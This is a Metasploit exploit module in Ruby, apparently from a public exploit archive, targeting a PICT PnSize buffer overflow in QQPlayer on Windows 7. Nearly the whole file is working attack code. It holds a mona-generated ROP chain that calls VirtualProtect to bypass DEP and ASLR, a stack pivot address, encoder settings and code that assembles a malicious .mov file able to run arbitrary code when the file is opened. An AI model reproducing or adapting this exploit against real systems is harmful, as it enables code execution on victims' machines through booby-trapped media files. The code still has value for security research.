# Exploit Title: QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS
# Date: 2011,11,21
# Author: hellok
# Software Link: http://dl_dir.qq.com/invc/qqplayer/QQPlayer_Setup_32_845.exe
# Version: 32_845(lastest)
# Tested on: WIN7
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS',
			'Description'    => %q{
					This module exploits a vulnerability in QQPLAYER Player 3.2.
				When opening a .mov file containing a specially crafted PnSize value, an attacker
				may be able to execute arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'hellok',  #special thank corelanc0d3r for 'mona'
				],
			'References'     =>
				[
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'          => 750,
					'BadChars'       => "",  #Memcpy
					'EncoderType'    => Msf::Encoder::Type::AlphanumUpper,
					'DisableNops'    =>  'True',
					'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
					'EncoderOptions' =>
						{
							'BufferRegister' => 'ECX',
						},
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'Windows 7', { 'Ret' => 0x67664cde } ],
				],
			'Privileged'     => false,
			'DisclosureDate' => '11 21 2011',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME',   [ false, 'The file name.',  'msf.mov' ]),
			], self.class)
	end
	def exploit
		# !mona rop
		rop_gadgets = 
		[
			
			0x00418007,	# POP ECX # RETN (QQPlayer.exe)
			0x12345678,
			0x67664CE4,   
			0x01020304,
			0x10203040,
			0x22331122,
			0x23456789,
			
			0x00418007,	# POP ECX # RETN (QQPlayer.exe)
			0x00a9c18c,	# <- *&VirtualProtect() 
			0x0054f100,	# MOV EAX,DWORD PTR DS:[ECX] # RETN (QQPlayer.exe)
			#0x008e750c, LEA ESI,EAX # RETN (QQPlayer.exe)
			0x008cf099,	# XCHG EAX,ESI # RETN
			
			0x6497aaad,	# POP EBP # RETN (avformat-52.dll)
			0x100272bf,	# ptr to 'call esp' (from i18nu.dll)
			0x005fc00b,	# POP EBX # RETN (QQPlayer.exe)
			0x00000331,	# <- change size to mark as executable if needed (-> ebx)
			0x00418007,	# POP ECX # RETN (QQPlayer.exe)
			0x63d18000,	# RW pointer (lpOldProtect) (-> ecx)
			0x63d05001,	# POP EDI # RETN (avutil-49.dll)
			0x63d05002,	# ROP NOP (-> edi)
			0x008bf00b,	# POP EDX # RETN (QQPlayer.exe)
			0x00000040,	# newProtect (0x40) (-> edx)
			0x00468800,	# POP EAX # RETN (QQPlayer.exe)
			0x90909090,	# NOPS (-> eax)
			0x008bad5c,	# PUSHAD # RETN (QQPlayer.exe)
		# rop chain generated by mona.py
		# note : this chain may not work out of the box
		# you may have to change order or fix some gadgets,
		# but it should give you a head start
		].pack("V*")

		stackpivot = [target.ret].pack('L')

		buffer =rand_text_alpha_upper(90)#2
		buffer << rop_gadgets
		buffer << payload.encoded

		junk = rand_text_alpha_upper(2306 - buffer.length)

		buffer << junk
		buffer << stackpivot
		buffer << rand_text_alpha_upper(3000)#3000

		path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-0257.mov" )
		fd = File.open(path, "rb" )
		sploit = fd.read(fd.stat.size)
		fd.close

		sploit << buffer

		file_create(sploit)
	end
end
